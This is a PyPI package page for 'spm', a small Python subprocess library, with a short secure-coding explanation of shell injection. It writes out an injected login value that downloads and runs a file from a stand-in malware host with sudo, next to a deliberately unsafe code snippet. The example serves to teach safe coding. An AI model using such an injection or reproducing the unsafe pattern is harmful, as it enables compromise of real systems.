Skip to main content

SubProcess Manager provides a simple programming interface to safely run, pipe and redirect output of subprocesses.

Project description

>>> import spm
>>> spm.run('echo', '-n', 'hello world').stdout.read()
'hello world'
>>> import functools
>>> git = functools.partial(spm.run, 'git')
>>> git('status', '-z').stdout.read().split(b'\x00')
[' M spm.py', '']

This provides a very thin KISS layer on top of the python standard library’s subprocess module. This library supports Python 2 and Python 3.

This makes it easy to pipe subprocesses, and pipe subprocesses input/output to files.

It only has four rules:

  • Simple programming interface

  • Don’t reimplement the wheel. (It tries uses the subprocess standard module as much as possible)

  • It only does one thing, and try to do it well.

  • Use argument list instead of one command string.

Secure subprocess invokation

For those who don’t understand the last rule. There are two ways to ways to invoke subprocesses in python: One method is insecure, the other one is secure.

import subprocess

# Insecure subprocess invocation
subprocess.check_call("echo foo", shell=True)
# Secure subprocess invocation
subprocess.check_call(['echo', 'foo'])

The second one is secure, because it prevents shell code injection. If we over simplify, the first method, could be implemented this way:

def insecure_check_call(command_line):
    """
    Same as check_call(shell=True)
    """
    # Runs /bin/bash -c "the given command line"
    subprocess.check_call(['/bin/bash', '-c', command_line])

Let’s use the following code as example:

import subprocess
# Get insecure and unchecked data from a user
from somewhere import get_login_from_user()

def create_user():
    cmd = "sudo useradd '{}'".format(get_login_from_user())
    subprocess.check_call(cmd)

A user can inject code if they enter the login ' || wget http://malware.example.com/malware -O /tmp && sudo /tmp/malware. Because this will execute: sudo user '' || wget [...] -O /tmp && sudo /tmp/malware.

Why another library?

XKCD Comic strip: "How Standards Profilef

Here are the existing libraries:

  • sh: doing to much. The programming interface for piping commands is complex and bad.

  • execute: old, vulnerable to shell injection.

And many other are unmaintained or worse.

What do you mean by KISS?

KISS lost it original sense. Now it’s just an hipster word which means “just use my library because it’s cool”.

Here I mean KISS in its original sense: Keep It Simple and Stupid.

  • Simple: this library is one file with less than 500 lines (excluding testing)

  • Stupid: this library has two functions: pipe() and run()

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

spm-0.9.1.tar.gz (4.8 kB view details)

Uploaded Source

File details

Details for the file spm-0.9.1.tar.gz.

File metadata

  • Download URL: spm-0.9.1.tar.gz
  • Upload date:
  • Size: 4.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No

File hashes

Hashes for spm-0.9.1.tar.gz
Algorithm Hash digest
SHA256 c17d31035ebc553d730f3faf17e2e4041bfccba70020fdf6eb57412563a37988
MD5 edc3ff7f198b4d8e27a21d3c1d04df5f
BLAKE2b-256 94adb6a1f7f5f9f95ad223ffb3fabbdac7a3ae5ff9be6a9f6075ac69b6160c45

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page